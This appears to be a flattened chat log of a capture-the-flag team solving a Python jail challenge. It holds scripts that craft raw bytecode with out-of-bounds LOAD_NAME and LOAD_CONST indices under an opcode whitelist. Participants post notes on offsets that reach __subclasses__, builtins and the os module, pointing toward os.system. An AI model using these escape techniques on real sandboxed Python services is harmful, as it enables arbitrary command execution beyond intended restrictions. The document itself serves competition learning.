nc jailpie.chal.crewc.tf 8086
Files:Tags: No tags.>>> n = 2403
>>> code = [
... *([opmap['EXTENDED_ARG'], n // 256]
... if n // 256 != 0 else []),
... opmap['LOAD_NAME'], n % 256,
... opmap['RETURN_VALUE'], 0
... ])4947: attrgetter potential getattr alt1031: __dict__ probable bypass if we can get a module (or smthng with __dict__) (edited)6630: setattr perhaps useful6735: type also maybe useful7692: __delitem__ this can give us a none obj7743: __class__ might as well save this8208: f_globals saving this, but theres no way i get gi_frame and f_back too8661: __import__4632: __subclasses__7509: __bases__().__class__.__bases__[0].__subclasses__() i think this is the best avenue8001: __dir__import sys
import unicodedata
class Generator:
# get numner
def __call__(self, num):
if num == 0:
return '(not[[]])'
return '(' + ('(not[])+' * num)[:-1] + ')'
# get string
def __getattribute__(self, name):
try:
offset = None.__dir__().index(name)
return f'keys[{self(offset)}]'
except ValueError:
offset = None.__class__.__dir__(None.__class__).index(name)
return f'keys2[{self(offset)}]'
_ = Generator()
names = []
chr_code = 0
for x in range(7744):
while True:
chr_code += 1
char = unicodedata.normalize('NFKC', chr(chr_code))
if char.isidentifier() and char not in names:
try:
print(char)
names.append(char)
except:
continue
break
offsets = {
"__class__": 7743,
"__bases__": 7509,
'__subclasses__': 4632,
}
#variables = ('keys', 'keys2', 'None_', 'NoneType',
# 'm_repr', 'globals', 'builtins',)
for name, offset in offsets.items():
names[offset] = name
#for i, var in enumerate(variables):
# assert var not in offsets
# names[792 + i] = var
source = f'''[
({",".join(names)}) if [] else [],
().__class__.__bases__[{_(0)}].__subclasses__()
]'''.strip().replace('\n', '').replace(' ', '')
#print(f"{len(source) = }", file=sys.stderr)
#print(source)
print(compile(source, "", "eval").co_code), however it syntax errors sadly[(A) if [] else [], <payload>] works ok[(<all names needed> if [] else [], <payload>)import sys
import unicodedata
class Generator:
# get numner
def __call__(self, num):
if num == 0:
return '(not[[]])'
return '(' + ('(not[])+' * num)[:-1] + ')'
# get string
def __getattribute__(self, name):
try:
offset = None.__dir__().index(name)
return f'keys[{self(offset)}]'
except ValueError:
offset = None.__class__.__dir__(None.__class__).index(name)
return f'keys2[{self(offset)}]'
_ = Generator()
names = []
chr_code = 0
for x in range(7744):
while True:
chr_code += 1
char = unicodedata.normalize('NFKC', chr(chr_code))
if char.isidentifier() and char not in names:
try:
print(char)
names.append(char)
except:
continue
break
offsets = {
"__class__": 7743,
"__bases__": 7509,
'__subclasses__': 4632,
}
#variables = ('keys', 'keys2', 'None_', 'NoneType',
# 'm_repr', 'globals', 'builtins',)
for name, offset in offsets.items():
names[offset] = name
#for i, var in enumerate(variables):
# assert var not in offsets
# names[792 + i] = var
source = f'''[
({",".join(names)}) if [] else [],
().__class__.__bases__[{_(0)}].__subclasses__()
]'''.strip().replace('\n', '').replace(' ', '')
#print(f"{len(source) = }", file=sys.stderr)
#print(source)
print(compile(source, "", "eval").co_code), however it syntax errors sadly import sys
import unicodedata
class Generator:
# get numner
def __call__(self, num):
if num == 0:
return '(not[[]])'
return '(' + ('(not[])+' * num)[:-1] + ')'
# get string
def __getattribute__(self, name):
try:
offset = None.__dir__().index(name)
return f'keys[{self(offset)}]'
except ValueError:
offset = None.__class__.__dir__(None.__class__).index(name)
return f'keys2[{self(offset)}]'
_ = Generator()
names = []
chr_code = 0
for x in range(7744):
names.append(f"a{x}")
offsets = {
"__class__": 7743,
"__bases__": 7509,
'__subclasses__': 4632,
}
#variables = ('keys', 'keys2', 'None_', 'NoneType',
# 'm_repr', 'globals', 'builtins',)
for name, offset in offsets.items():
names[offset] = name
#for i, var in enumerate(variables):
# assert var not in offsets
# names[792 + i] = var
source = f'''[
({",".join(names)}) if [] else [],
().__class__.__bases__[{_(0)}].__subclasses__()
]'''.strip().replace('\n', '').replace(' ', '')
#print(f"{len(source) = }", file=sys.stderr)
#print(source)
print(compile(source, "", "eval").co_code.hex()) (edited)import sys
import unicodedata
class Generator:
# get numner
def __call__(self, num):
if num == 0:
return '(not[[]])'
return '(' + ('(not[])+' * num)[:-1] + ')'
# get string
def __getattribute__(self, name):
try:
offset = None.__dir__().index(name)
return f'keys[{self(offset)}]'
except ValueError:
offset = None.__class__.__dir__(None.__class__).index(name)
return f'keys2[{self(offset)}]'
_ = Generator()
names = []
chr_code = 0
for x in range(7744):
names.append(f"a{x}")
offsets = {
"__class__": 7743,
"__bases__": 7509,
'__subclasses__': 4632,
}
#variables = ('keys', 'keys2', 'None_', 'NoneType',
# 'm_repr', 'globals', 'builtins',)
for name, offset in offsets.items():
names[offset] = name
#for i, var in enumerate(variables):
# assert var not in offsets
# names[792 + i] = var
source = f'''[
({",".join(names)}) if [] else [],
().__class__.__bases__[{_(0)}].__subclasses__()
]'''.strip().replace('\n', '').replace(' ', '')
#print(f"{len(source) = }", file=sys.stderr)
#print(source)
print(compile(source, "", "eval").co_code.hex()) (edited)LOAD_CONSTPOP_JUMP_IF_FALSE to true>>> cod = compile("[(a,b,c) if[]else []]","","exec")
>>> dis(cod)
0 0 RESUME 0
1 2 BUILD_LIST 0
4 POP_JUMP_IF_FALSE 7 (to 20)
6 LOAD_NAME 0 (a)
8 LOAD_NAME 1 (b)
10 LOAD_NAME 2 (c)
12 BUILD_TUPLE 3
14 BUILD_LIST 1
16 POP_TOP
18 RETURN_CONST 0 (None)
>> 20 BUILD_LIST 0
22 BUILD_LIST 1
24 POP_TOP
26 RETURN_CONST 0 (None)
>>> this is some dis that would give oob, you can see theres alot of uh issues (edited)from types import CodeType
from opcode import opmap
from sys import argv
class MockBuiltins(dict):
def __getitem__(self, k):
if type(k) == str:
return k
if __name__ == '__main__':
n = int(argv[1])
code = [
*([opmap['EXTENDED_ARG'], n // 256]
if n // 256 != 0 else []),
opmap['LOAD_CONST'], n % 256,
opmap['RETURN_VALUE'], 0
]
c = CodeType(0, 0, 0, 0, 0, 0, bytes(code), (0,), (), (), '', '', '', 0, b'', b'', (), ())
ret = eval(c, {'__builtins__': MockBuiltins()})
if ret:
print(f'{n}: {ret}') ig i can just4632: __subclasses__ 78: {'__module__': 'contextlib', '__name__': '_create_exit_wrapper', '__qualname__': '_BaseExitStack._create_exit_wrapper', '__doc__': None, '__annotations__': {}} huhEXTENDED_ARG either :pain:3487: __loader__ (or perhaps the const, im not sure) (edited)breakpoint whitelist = {
'LOAD_CONST',
'BINARY_OP',
'COMPARE_OP',
'POP_JUMP_BACKWARD_IF_TRUE',
'RETURN_VALUE',
}3987: __getattribute__
3988: <slot wrapper '__getattribute__' of 'functools.partial' objects>4138: <_frozen_importlib_external.SourceFileLoader object at 0xffffb2d81dd0> loader obj4300: <module 'builtins' (built-in)> the module4548: <module 'os' (frozen)> ooooooooooooooooooooos.system (edited)apport_excepthook forgot this was a thing lmao (edited)